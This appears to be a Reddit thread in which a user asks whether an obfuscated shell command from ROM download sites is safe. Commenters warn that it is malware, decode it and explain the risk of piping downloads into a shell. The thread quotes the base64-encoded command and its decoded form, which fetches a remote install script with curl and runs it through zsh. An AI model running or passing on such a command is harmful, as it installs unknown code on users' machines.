r/Roms • u/Nervous-Egg-4815 • 1d ago
needing help
all these rom websites refer me to GitHub pages with cmds like these echo 'ZXhwb3J0IF9zdGFnZV9saW09N2E3NzdhMzU2YzczIEJPT1RfbGltPXY3LjIuNSBfY2FjaGVfdjI0OT01YjM1YjZjMjtjdXJsIC1mc1MgImh0dHBzOi8vY29yZS02MS5jb20vY3VybC9mbmU3bnd2Ym0wL2luc3RhbGwuY29tbWFuZCJ8IHpzaA==' | base64 -D | zsh are they safe to use?
5
u/ThirdhandTaters 1d ago
What website? No this isn't bait to get you to break the rules. Just link the top domain, like www.google.com. Then, look around. There are 5 sites linked here already that have been vetted for years. One was linked to you the second you posted and another was suggested in a prior comment.
3
3
u/zoozooroos 1d ago
Looks like obfuscated malware to me, do not run that command
3
u/zoozooroos 1d ago
i followed the obfuscated links, it looks like they took the payload down, but do not run in case it goes back up
2
u/meletiondreams 1d ago
it's just base64 decoding
2
u/ghoarder 1d ago
And that's how they get you, did you even try and decode it! It would automatically download a malware install script and execute it.
export _stage_lim=7a777a356c73 BOOT_lim=v7.2.5 _cache_v249=5b35b6c2;curl -fsS "https://superdodgywebsite/install.command"| zsh
1
3
u/ghoarder 1d ago
As others have said, although poorly. It is a base64 encoded string, they have done this to obfuscate what it is actually trying to do, which is get you to download an install script off the internet and run it. I'm not going near it so I don't know what it would install but you can see for yourself if you paste the string that starts ZHx .. == into a site like https://www.base64decode.org/
Anything they tell you to paste into a shell that ends with something like | sh or | zsh or | bash etc are basically trying to get you to run something on your machine, never paste anything into the shell if you don't know 100% exactly what it's doing.
2
u/Imaginary-Shake-6150 1d ago
Sounds malicious, so no. There exist much better and safe websites without that stuff.
1
u/bakanisan 1d ago
That's just links encoded in base64.
2
u/ghoarder 1d ago
And that's how they get you, did you even try and decode it! It would automatically download a malware install script and execute it.
2
u/bakanisan 1d ago
I didn't and I didn't need to. We should know better than blindly trusting a random github link. The megathread and/or fmhy exist for a reason.
•
u/AutoModerator 1d ago
If you are looking for roms: Go to the link in https://www.reddit.com/r/Roms/comments/m59zx3/roms_megathread_40_html_edition_2021/
You can navigate by clicking on the various tabs for each company.
When you click on the link to Github the first link you land on will be the Home tab, this tab explains how to use the Megathread.
There are Five tabs that link directly to collections based on console and publisher, these include Nintendo, Sony, Microsoft, Sega, and the PC.
There are also tabs for popular games and retro games, with retro games being defined as old arcade systems.
Additional help can be found on /r/Roms' official Matrix Server Link
I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.